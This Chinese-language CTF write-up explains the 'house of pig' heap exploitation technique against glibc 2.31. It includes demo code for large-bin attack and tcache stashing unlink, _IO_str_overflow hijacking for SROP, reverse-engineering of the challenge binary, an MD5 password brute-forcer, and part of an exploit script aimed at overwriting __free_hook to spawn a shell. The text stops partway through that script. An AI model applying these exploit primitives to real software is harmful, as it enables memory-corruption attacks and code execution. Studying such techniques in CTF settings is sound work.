主頁 >  其他 > house of pig詳解

house of pig詳解

2021-09-06 07:27:10 其他

在復現這題之前需要了解一些前置知識:libc2.31下的largebin_attacktcache_stashing_unlink plus以及高版本glibc下的IO_FILE攻擊

首先看到libc2.31下的largebin_attack

0x1.libc2.31下的largebin_attack

跟隨how2heap專案中的largebin_attack以及原始碼除錯來學習,

從libc2.30開始,largebin的插入代碼中新增了兩個檢查

先看到第一個點

2c5gYj.jpg

將unsortedbin插入到largebin中時,且這個unsortedbin大于largebin的size,此時插入程序增加了雙向鏈表完整性檢查,

通常就是修改largebin的bk_nextsize=target_addr-0x20,然后在插入一個比原有largebin更大的unsortedbin時(后面稱原有的largebin為largebin1,新插入的為largebin2),在插入程序中,largebin1的bk_nextsize被設定為largebin1的bk_nextsize,即target_addr-0x20,后續victim->bk_nextsize->fd_nextsize = victim這條陳述句,會將target_addr-0x20+0x20位置寫入largebin2的地址,這是第一個點,

第二個點如下

2chIg0.png

這里的利用方式是修改largebin1的bk=target_addr-0x10,bck = fwd->bk;bck->fd = victim;這兩句代碼執行完畢后會將target_addr-0x10+0x10的位置寫入largebin1的地址,

如圖所示,這兩處都添加了檢查,

但當要插入的unsortedbin小于largebin的size時并沒有做檢查,如下圖

2cIbb8.jpg

在這里并沒有進行檢查,因此在libc2.31下這里就成了新的利用點,

demo檔案如下

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
/*
 
A revisit to large bin attack for after glibc2.30
 
Relevant code snippet :
 
    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }
 
 
*/
 
int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);
 
  size_t target = 0;
  size_t *p1 = malloc(0x428);
  size_t *g1 = malloc(0x18);
 
  size_t *p2 = malloc(0x418);
  size_t *g2 = malloc(0x18);
 
  free(p1);
  size_t *g3 = malloc(0x438);
 
 
  free(p2);
 
  p1[3] = (size_t)((&target)-4);
 
  size_t *g4 = malloc(0x438);
 
  assert((size_t)(p2-2) == target);
 
  return 0;
}

我刪掉了原檔案中的一些描述性代碼,以便于觀看代碼,

整體攻擊思路就是申請一大一小兩個chunk(后面稱為chunk1,chunk2),先free掉chunk1,然后申請一個更大的chunk來將chunk1從unsortedbin中插入到largebin,接著將chunk1的bk_nextsize設定為target_addr-0x20,這是第一步;第二步,free掉chunk2,然后申請一個更大的chunk來將chunk2從unsortedbin中插入到largebin中,由于此時插入的chunk2的size要小于chunk1,所以會觸發新的攻擊流程,這里我們采用原始碼除錯,以便更直觀地學習,

在程式執行到size_t *g4 = malloc(0x438);這一句時,堆的情況如下

2Ro900.png

largebin里放著0x430的chunk,unsortedbin里面則是0x420的

2Ro1hD.png

2RoB4S.png

chunk1的bk_nextsize被設定為了target_addr-0x20

接下來我們將斷點下在_int_malloc函式

2Roo34.png

2RoLHx.png

然后我們運行到將unsortedbin插入到largebin的代碼

2WoKdP.png

首先獲取要插入的unsortedbin對應的largebin的index,然后獲取到對應的鏈表頭

2WoUZq.png

由于此時largebin中已經有了一個chunk,所以對應鏈表頭的fd和bk都被設定為了這個largebin的地址,類似于下面這樣

2WLTl8.png

然后進入到插入環節

2WoHOA.png

將bck,也就是鏈表頭賦值給fwd,將bck->bk(chunk1的地址)賦值給bck,進入到插入操作,首先將chunk2(即將插入的chuhnk)的fd_nextsize設定為chunk1的地址

RGPD3Q.png

再將chunk2的bk_nextsize設定為chunk1的bk_nextsize,而chunk1的bk_nextsize已經被修改為了target_addr-0x20,因此chunk2的bk_nextsize也會指向target_addr-0x20

2WHyQg.png

最后一行代碼用于修改chunk1的fd_nextsize和bk_nextsize為chunk2的地址,由于設定chunk1的fd_nextsize是通過

victim->bk_nextsize->fd_nextsize來設定的,而victim->bk_nextsize指向的是一個錯誤的地址,執行完這條賦值陳述句后就會在target_addr+0x20的位置上寫入chunk2的地址

2WX5M8.png

至此就實作了類似于libc2.23下的unsortedbin attack,往任意地址寫入一個堆地址,

0x2.tcache_stashing_unlink plus

此種利用方式可以達成任意地址處分配一個chunk

demo如下

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
 
static uint64_t victim[4] = {0, 0, 0, 0};
 
int main(int argc, char **argv){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
 
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
 
    printf("You can use this technique to get a tcache chunk to arbitrary address\n");
 
    printf("\n1. need to know heap address and the victim address that you need to attack\n");
 
    tmp = malloc(0x1);
    printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        &victim, victim[0], victim[1], victim[2], victim[3]);
    printf("heap address: %p\n", tmp-0x260);
 
    printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
    victim[1] = (uint64_t)(&victim);
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
 
 
    printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
    printf("Here, I choose the size 0x60\n");
    for(int i=0; i<5; i++){
        t1 = calloc(1, 0x50);
        free(t1);
    }
 
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
        t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
 
    printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
 
    s1 = malloc(0x420);
    printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
    pad = malloc(0x20);
    printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
    free(s1);
    printf("Free chunk %p to unsortedbin\n", s1);
    malloc(0x3c0);
    printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
    malloc(0x100);
    printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
 
    printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
    printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
    s2 = malloc(0x420);
    pad = malloc(0x80);
    free(s2);
    malloc(0x3c0);
    malloc(0x100);
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
    printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
 
    printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
    printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
 
    printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
 
    calloc(1, 0x50);
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
        &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
 
    printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
 
    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;
 
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
 
    return 0;
}

整體思路如下

1.tcache中放5個,smallbin中放兩個

2.將后進smallbinchunkbk(不破壞fd指標的情況下)修改為目標地址-0x10,同時將目標地址+0x8處的值設定為一個指向可寫記憶體的指標,

3.從smallbin中取一個chunk,走完stash流程,目標地址就會被鏈入tcache中,

依然是原始碼除錯

將斷點下在calloc(1, 0x50);這一行,以及_int_malloc

先看看此時的記憶體情況

2fpHdU.png

victim就是我們的目標,&victim+0x8的位置已經被設定為了一個指向可寫記憶體的指標

2f9MTS.png

后進入的smallbin的bk指標指向了&victim-0x10

2f9tO0.png

0x60的tcache里面有五個,0x60的smallbin里面有兩個

接下來我們跟進到int_malloc中

由于calloc不從tcache中取chunk,所以會直接從smallbin中取出一個chunk

2fCLvR.png

2fPXWQ.png

鏈表頭和兩個smallbin的結構如下

2fkFxJ.png

2fkcd0.png

victim = last (bin)取最后一個chunk(從上面的結構圖里面能看得很清楚)

last是一個宏定義,如下

#define last(b)      ((b)->bk)

接著往前遍歷,取倒數第二個chunk,還會進行雙向鏈表的完整性檢查

2fE9c4.png

2fEtC8.png

bin->bk = bck;
bck->fd = bin;

這兩條代碼將最后一個chunk解鏈,執行后結構如下

2fZVSO.png

然后運行到這里

2fmGLQ.png

size_t tc_idx = csize2tidx (nb);會先計算出此時申請的chunk的size對應于tcache的哪一條鏈

2fno90.png

如果這條鏈的tcache中還有空余且smallbin也有chunk

2fun8P.png

2fuN80.png

滿足條件,然后取出smallbin中的最后一個chunk

2fuhrD.png

bck = tc_victim->bk;//取倒數第二個smallbin,但tc_victim->bk已經被我們設定為了&victim-0x10

set_inuse_bit_at_offset (tc_victim, nb);

if (av != &main_arena)

set_non_main_arena (tc_victim);

bin->bk = bck;

bck->fd = bin;//將倒數第一個chunk解鏈

依次運行上述代碼

2fKXf1.png

bck如果我們分析一樣,是&victim-0x10

2fMT3t.png

鏈表頭的bk指標指向了&victim-0x10

2fQiuT.png

bck->fd=bin,即&victim-0x10+0x10=&victim被設定為了bin頭,解鏈后結構如下

2f1K0O.png

之后再將tc_victim放入tcache

放入前

2f1hEF.png

放入后

2f1oC9.png

看到這里相信大家就大概能明白為什么這個攻擊手法可以任意地址分配一個chunk了,此時tcache中還剩一個空位,程式會繼續從smallbin中取chunk放入tcache,此時smallbin中只剩下victim,我們繼續除錯

2f8Yef.png

新一輪的tc_victim為&victim-0x10

接下來會找到倒數第二個chunk

2f8bTO.png

因此我們需要將&victim-0x10+0x18處設定為一個可寫地址x,方便后面往其中寫bin頭地址,而demo一開始就將其設定好了,

2fGoCQ.png

victim[1] = (uint64_t)(&victim);

后續的就是繼續解鏈,然后將victim加入到tcache

2fJiK1.png

至此攻擊完成

0x3.高版本下的_IO_FILE利用

在2.23下一般攻擊FILE結構體就是劫持IO函式的_chain欄位為我們偽造的IO_FILE_plus,然后修改vtable表中的io_str_overflow為system,在高版本libc下,如libc2.31下也依然是利用io_str_overflow這個函式,但io_str_overflow函式的實作發生了變化

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

可以看到io_str_overflow呼叫了malloc,memcpy,free等函式

我們回溯一下malloc的引數new_size的來源

size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

如果我們能控制(fp)->_IO_buf_end - (fp)->_IO_buf_base就能夠控制malloc申請的chunk大小,再看到后面這一段

if (old_buf)//char *old_buf = fp->_IO_buf_base;
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }

如果old_buf指向的記憶體空間有資料,則將使用memcpy將old_buf中的資料拷貝到new_buf中,拷貝的長度為old_blen,然后再free (old_buf);

再看到_IO_str_overflow的匯編

2fBjyD.png

在+53這一行,會將[rdi+0x28]處的值送到rdx中,而自從libc2.29開始,setcontext中的gadget索引由rdi變為了rdx,需要先控制rdx的值才能夠進行后續的srop

_IO_str_overflow中的這潭訓編正好可以將rdx進行賦值,且來源還是rdi,rdi正好是FILE結構體的首地址,只需要將fp+0x28設定為我們可以控制的地址就可以進行srop,且這條陳述句是在malloc之前執行的,所以利用方法就是:首先將malloc_hook設定為setcontext+61,然后觸發_IO_str_overflow,事先在我們偽造的FILE結構體中設定好相應的資料,從而將rdx賦值為我們可以控制的地址,接著_IO_str_overflow呼叫malloc觸發setcontext,進行srop,

觸發malloc的條件如下

fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */
fp->_IO_write_ptr=srop_addr
/*
0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
 
0x00007ffff7e2f0dd <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
*/
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100);
memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base);
free (fp->_IO_buf_base);

0x4.house of pig

libc版本為2.31,用c++寫的

0x1.修復switch table

IDA反編譯,查看main函式

2fcGdg.png

看到一條 __asm { jmp rax },這是因為IDA沒能正確識別switch跳轉,修復一下,看到匯編

2fWMtg.png

jmp rax的地址在0x3794,跳轉表在0x69e0

2fWtBV.png

跳轉表是一位元組一位元組的,連續按d修改成四位元組一組,一共有6個跳轉

2fW6nx.png

接下來開始修復跳轉表,首先選中jmp rax那潭訓編,再按如下路徑選取specify switch idiom

2f7GwR.png

配置如下

2fLdUA.png

由上至下分別為

跳轉表的地址;跳轉的數量;每一個跳轉值的長度;基值;跳轉開始的位置;跳轉使用的暫存器;/;默認跳轉位置,

修復成功后如下所示

2fXMSx.png

舒服了許多,

0x2.恢復結構體

開始分析程式

隨便點開程式開頭的一個函式

RnZHmT.png

一串賦值0的操作,不明白什么意思,繼續往下

找到選單

RnZjh9.png

一共有五個功能,增查改刪以及切換人物

點開case 1對應的函式,也就是add函式

RneP0O.png

里面嵌套著一個switch,點開case1對應的函式看看

Rne8hj.png

相當難看,很多對地址進行的操作,這種情況盡可能恢復程式的結構體方便后續分析,先大致分析一下這個函式的流程,

最多能申請20次,申請的chunk的大小要大于等于0x90小于等于0x430.并且每一次申請的chunk的size都要大于等于上一次所申請的,申請堆塊用的是calloc函式,calloc不從tcache中取,

*(_DWORD *)(unk_9070 + 0x150LL) = v8;

如果size合法的話,就將size賦值給*(_DWORD *)(unk_9070 + 0x150LL),這個unk_9070 中存放的是mmap出來的一塊記憶體的地址,

*(_DWORD *)(a1 + 4 * (i + 48LL)) = v8;
*(_BYTE *)(a1 + i + 288) = 0;
*(_BYTE *)(a1 + i + 312) = 0;

這一段尋址看的不清晰,我們修改一下這個函式傳入的引數的型別

RKKhLR.png

原本是int64型別,我們將其修改為char * ,在引數上按y修改型別

RKKoo6.png

修改完后上面那一段就變成了如下所示

RKKOQH.png

這樣子看起來就比上面那段看起來清楚一些,將a1[4 * i + 0xC0]賦值為size,將a1[i + 0x120]以及a1[i + 0x138]都賦值為0.

繼續往下看

RKMklQ.png

size/0x30,也就是將申請的chunk以0x30大小切片,每次都往切片的頂部讀入0x10個位元組的資料,

這個函式到這就算分析得差不多了,但如果我們要恢復程式使用的結構體,這些資訊還不夠,繼續分析其他函式,

再看到add功能的case 2

case 2的函式與case1對應的函式只有幾處不一樣

RKQwEq.png

size存放到mmap中的位置變了

RKQrCT.png

將chunk切片之后不再是從頂部寫入,而是從偏移0x10處開始寫

case3對應的函式不同之處也是在這兩處,就不再說了,

由add功能可以猜測,add功能傳入的引數應該是一個結構體,

*(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //存盤堆地址
*(_DWORD *)&a1[4 * i + 0xC0] = v8; //存盤chunk size
a1[i + 0x120] = 0; //意義不明
a1[i + 0x138] = 0;//意義不明

再看到view功能

RKzN40.png

首先判斷*(int *)(unk_9070 + 0x404LL)的值是否大于0,然后依然有三個函式,進入第一個函式

RMS0it.png

輸入一個序號,然后會有以下三個判斷

*(_QWORD *)&a1[8 * v4] //判斷chunk是否存在
*(_DWORD *)&a1[4 * v4 + 0xC0] //判斷對應的size是否存在
!a1[v4 + 0x120]

滿足這三個條件就會輸出對應chunk的值

另外兩個函式也基本一致

看到edit功能

RM9FjU.png

和view功能一樣,開頭會檢查一個全域變數的值*(int *)(unk_9070 + 0x408LL)是否大于0,大于0才會進入到edit的子函式中,查看第一個函式

RM9rDg.png

依然有三個判斷,和view的判斷是相同的,通過判斷的話就會重新往chunk中寫入資料,也是先切片再寫資料,和add功能中的邏輯一樣

看到delete功能

RM9Ha9.png

delete功能沒有次數的限制,進入第一個子函式

RM9jxK.png

delete功能依然有三個檢查

*(_QWORD *)&a1[8 * v4]
&& !a1[v4 + 0x120]
&& !a1[v4 + 0x138]

檢查chunk是否存在,檢查!a1[v4 + 0x120] !a1[v4 + 0x120]這兩個位置是否為0,通過檢查的話則進行free,并將兩個標志位置1,但并沒有將堆指標清0,

前四個功能分析完畢,第五個功能稍后再談,我們先通過這四個功能恢復出程式使用的結構體

總結如下

1.結構體至少需要存盤20*8=0xa0的堆地址

2.還需要存盤20*4=0x50的size資料

3.view,edit功能使用了a1[v4 + 0x120]處的標志位

4.delete功能使用了a1[v4 + 0x138]和a1[v4 + 0x120]處的標志位,也就是結構體應該有兩個標志位陣列,陣列元素大小為1位元組,因此結構體還需要存盤20*1*2=0x28大小的標志位

初步猜測結構體應該如下所示

struct house
{
    char *list[20];
    int size[20];
    char flag[20];
    char flagg[20];
};

但這樣子其實是有錯誤的,回到add功能

RMP9yT.png

堆地址是從結構體的頭部開始存盤的,而size資料則是從結構體偏移0xc0開始存盤的,如果只存盤20個堆地址的話,那么只占用0xa0的大小,size應該從0xa0開始存盤;要使size從0xc0開始存盤,則堆地址存盤的上限應為0xc0/0x8=0x18個,同樣的,size,flag,flagg的存盤上限也應為0x18(大家可以自行計算一下,上限為0x18的話各種偏移就都正好滿足),這樣的話結構體應該如下

struct house{    char *list[0x18];    int size[0x18];    char flag[0x18];    char flagg[0x18];};

規劃好結構體之后就可以往ida中添加了

RMPfnU.png

點到local types界面

RMP474.png

右鍵選擇insert

RMPThR.png

直接輸入結構體代碼

RMPb1x.png

local types中會出現我們自定義的結構體型別

我們再回到add功能,修改引數型別

RMip4A.png

將其修改為house *型別

RMiigP.png

修改成功

我們再接著把程式中用到了這個結構體的函式的引數型別統統修改

比如我們在一開始點進去的那個一大堆賦值0的函式,修改完后就變成了下面這樣

RMi3uT.png

清楚了億點點

其他需要修改為house結構體的位置我就不一一修改給大家看了,可以自行操作

但,程式中不止存在這一個結構體,在add功能中

RMisbD.png

很明顯,0x9070的值指向的空間也是一個結構體,我們接下來對這個結構體進行恢復

在程式一開始,有這么一個函式

RMib5j.png

將0x9070指向位置的資料拷貝到house結構體中,并且每一個memcpy函式拷貝的大小都是house結構體不同成員的大小

現在我們繼續往下看到功能5 Change roles

RMOojJ.png

讓我們輸入密碼,呼叫strlen得出密碼的長度,呼叫sub_13C9這個函式

unsigned __int64 __fastcall sub_13C9(_DWORD *a1)
{
  unsigned __int64 v2; // [rsp-10h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  *a1 = 0;
  a1[1] = 0;
  a1[2] = 0x67452301;
  a1[3] = 0xEFCDAB89;
  a1[4] = 0x98BADCFE;
  a1[5] = 0x10325476;
  return __readfsqword(0x28u) ^ v2;
}

這一串十六進制數是md5加密的特征,后面的sub_2916sub_2A8B也就不用看了,實際上就是將我們輸入的密碼進行md5加密,然后將md5加密后的資料和設定的好的md5值進行對比,進行比較的條件有三個

RQ2vxf.png

滿足任意一個即可進入到if代碼塊中,這里需要注意的是,前兩個比較使用的是memcmp,而第三個比較使用的是strcmp,strcmp存在0字符截斷問題,我們看到dword_6928

RlSEM8.png

這串md5的開頭存在\x00,所以在和這串md5值比較的時候實際上會提前截斷,因此我們要找的只是以0x3c4400開頭的md5對應的原值

我們再看到if代碼塊,if中的代碼會判斷我們輸入的密碼的第一個字符為A,B,C中的哪一個,然后回傳1或2或3來切換角色,

根據以上的分析,如果我們想要切換角色,輸入的密碼需要以A,或B或C開頭,且經過md5加密后需要以0x3c4400開頭,這樣的一串md5的原值還是有一些的,寫了個爛腳本,就嗯爆破,在9位數字內各找到了滿足條件的密碼

import hashlib
 
def main():
    start = "3c4400"
    while True:
        for i in range(100000000):
            s='A'+str(i)
            #s='B'+str(i)
            #s='C'+str(i)
            print "Test %s " % s
            if hashlib.md5(s).hexdigest().startswith(start):
                f=open('list','w')
                f.write(s+'\n')
                f.close()
 
if __name__ == '__main__':
    main()
'''
A39275120
B3332073
C75929410
'''

如果師傅們有更好的辦法的話希望能指點一下(太菜了)

知道了如何更改角色以后再繼續往下看

R1z9jf.png

會根據回傳的角色值來進行switch選擇要執行的函式,進入case1查看一下

R3KZcT.png

將house結構體的資料拷貝到qword_9070

看到case2

R3K2Dg.png

一樣的功能,只不過拷貝的目標地址發生了變化,case3也是一樣的

到這里為止,我們先考慮恢復qword_9070指向的結構體,很明顯,根據這三個case,我們可以推斷出這個結構體(后面稱為tmp_house)至少有3個house結構體的大小,但還有一些小細節需要注意,回看到add功能

case1

R31irT.png

case2

R31Ea4.png

在tmp_house結構體中還需要存盤當前size的大小,每一個角色都有一個對應的current_size,因此tmp_house還應在原有的3個house結構體的大小上在添加3個int型別的大小,但這依然不夠

在view功能中

R31GIH.png

tmp_house結構體中還需要記錄能夠view的次數,注意,這里qword_9070+0x101,并不是說在偏移為0x101的位置處,還需要看到前面是int型別的指標,是四位元組,所以實際上應該是0x101*4=0x404的偏移,上面的current_size也是如此,

在edit功能中

R31DeS.png

tmp_house結構體中還需要記錄能夠edit的次數

因此,tmp_house結構體應該如下

struct tmp_house
{
  struct house peppa_house;
  int current_peppasize;
  struct house mummy_house;
  int current_mummysize;
  struct house daddy_house;
  int current_daddysize;
  int show_time;
  int edit_time;
};

在ida中創建結構體,看看我們的推測是否正確

add功能

R33h9A.png

R335ct.png

edit功能

R33HHS.png

成功

結構體恢復就到此為止了,現在再來分析程式就會舒服很多(貼了好多圖,希望師傅們看得清楚些)

0x3.漏洞分析

經過了上一階段的分析,我們已經大致梳理了一遍程式的邏輯,現在來總結一下,并補充上面沒有說到的

首先,這個程式有三個角色可以選擇,在三個角色之間可以來回切換,在程式的開頭會將三個角色各自的結構體的兩個標志位都清0,程式運行起來后默認是使用的peppa這個角色,每個角色都有增刪查改切換這五個功能,在view和edit功能中會檢查第一個標志位flag是否為0,為0的情況下才能夠進行相關操作;delete功能會檢查flag和flagg這兩個標志位是否都為0,都為0才會進行free,free之后將flag和flagg標志位置1,但并沒有清空堆指標,所以這里可能會存在uaf;隨后是切換角色的流程,假如我們從peppa切換到mummy

R3oJWF.png

如果next_character_num!=character_num,就會先將當前的角色的house結構體存盤到global_house中,看到save_peppa_house這個函式

R3oNQJ.png

仔細觀察,是不是少了些什么?house有兩個標志位,flag和flagg,但這里只將flagg標志位保存了下來,繼續往下看

R3owe1.png

接著根據next_character_num來恢復現場

R3osJO.png

在recover_peppahouse函式中將global_house中所有的資料都拷貝到了對應角色的house結構體中,而global_house中的對應的flag標志位是0,也就是說,當我們使用peppa這個角色free了一個chunk之后,flag=1,flagg=1,且這個chunk的指標沒有清0,再切換到mummy,只會將flagg標志位進行存盤,我們再切換回peppa這個角色,就會將global_house中的flag標志位賦值給house,這樣一來peppa_house的flag=0,flagg=1,除了不能再次delete,view和edit功能都可以使用,也就是一個uaf漏洞,其他的角色也是一樣,來回切換一次可以造成一個uaf,

0x4.漏洞利用

程式使用calloc來申請chunk,因此無法使用tcache attack,并且申請的chunk要大于0x90,也無法使用fastbin attack(不知是否可以使用largebin_attack來攻擊global_max_fast?)

house of pig本質上是通過 libc2.31 下的 largebin attack以及 FILE 結構利用,來配合 libc2.31 下的 tcache stashing unlink attack 進行組合利用的方法

整體思路如下:

1.為tcache_stashing_unlink plus做好準備,往一個tcache鏈中放入五個chunk,再往同樣大小的smallbin中放入兩個chunk,

2.構造出largebin,泄露libc地址和heap地址,進行第一次largebin attack,將free_hook-0x8的位置寫上一個堆地址

3.進行tcache_stashing_unlink ,將free_hook-0x10作為一個堆地址鏈入tcache頭,但由于使用calloc,我們無法申請到這個chunk

4.進行第二次largebin attack,將_io_list_all覆寫成一個堆地址,我們在這個堆上偽造IO_FILE,偽造的FILE結構體需要滿足要求以呼叫malloc來申請tcache中的chunk,也就是我們要使2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100=free_hook所在的那個tcache鏈的大小,并且還要修改vtable指標,vtable原本指向IO_file_jumps,將其修改為指向_IO_str_jumps,原本應該呼叫 IO_file_overflow 的時候,就會轉而呼叫如下的 IO_str_overflow,這樣一來就能夠進而呼叫malloc申請到free_hook-0x10處的空間,而如果_IO_buf_base指向的空間有資料的話,還會將其中的資料拷貝到malloc申請的chunk中,所以我們可以在IO_buf_base指向的空間布置好/bin/sh和system的地址,這樣一來就被被memcpy到free_hook-0x10處,IO_str_overflow在最后還會free掉IO_buf_base指向的chunk,這樣就會觸發system('/bin/sh')getshell

(我太懶了,就直接拿官方exp來講解了,師傅們包容包容orz)

第一部分,為tcache_stashing_unlink 做準備

Change(2)
for x in xrange(5):
    Add(0x90, 'B'*0x28) # B0~B4
    Del(x)    # B0~B4
#到這里0xa0的tcache中放入了5個chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
for x in xrange(7):
    Add(0x150, 'A'*0x68) # A1~A7
    Del(1+x)
Del(0)
#將0x160的chunk放入到unsortedbin
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
#將0x160的chunk分割為0xc0和0xa0的,unsortedbin還剩下0xa0
Change(1)
Add(0x180, 'A'*0x78) # A8
#將0xa0的unsortedbin放入smallbin,0xa0的smallbin目前有一個
for x in xrange(7):
    Add(0x180, 'A'*0x78) # A9~A15
    Del(9+x)
Del(8)
#將0x190的chunk翻入unsortedbin
Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#切割unsortedbin,unsortedbin還剩下0xa0
#----- leak libc_base and heap_base
Change(1)
Add(0x430, 'A'*0x158) # A16
#將0xa0的unsortedbin放入到smallbin,0xa0的chunk目前有兩個
#至此,tcache_stashing_unlink的準備作業完成一部分

R8GVNF.png

此時的bins如上圖

第二部分,泄露libc地址和heap地址

Change(1)
Add(0x430, 'A'*0x158) # A16
 
Change(2)
Add(0xf0, 'B'*0x48) # B7
#B7作為A16和topchunk的隔離,防止A16被free后和topchunk合并
Change(1)
Del(16)
#free A16,將A16放入unsortedbin
Change(2)
Add(0x440, 'B'*0x158) # B8
#申請一個比unsortedbin更大的chunk,將unsortedbin放入largebin,則largebin中有一個0x440的chunk
#由于largebin的bk和fd為libc地址,fd_nextsize和bk_nextsize為堆地址,因此可以通過這個largebin來泄露libc地址和heap地址
Change(1)
#切換角色,造成uaf
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
#利用uaf泄露libc地址
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
#使用edit覆寫fd和bk,泄露出heap地址

R8YmO1.png

上圖是將A16 free之后的情況

以及下圖是此時的bins

R8YdTf.png

第三部分,第一次largebin_attack 將free_hook-0x8寫為一個堆地址

#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
#將0x440的largebin的fd和bk指標恢復
Add(0x430, 'A'*0x158) # A17
#將largebin中的chunk申請回來
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
#后續使用
Change(2)
Del(8)
Add(0x450, 'B'*0x168) # B9
#將B8 0x440的chunk放入largebin
Change(1)
Del(17)
#將A17 0x430的chunk放入unsortedbin
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')
#修改B8的fd_nextsize和bk_nextsize,以滿足largebin attack的要求 注:mummy的edit是直接從偏移0x10的位置寫入,忘記了的可以看看程式
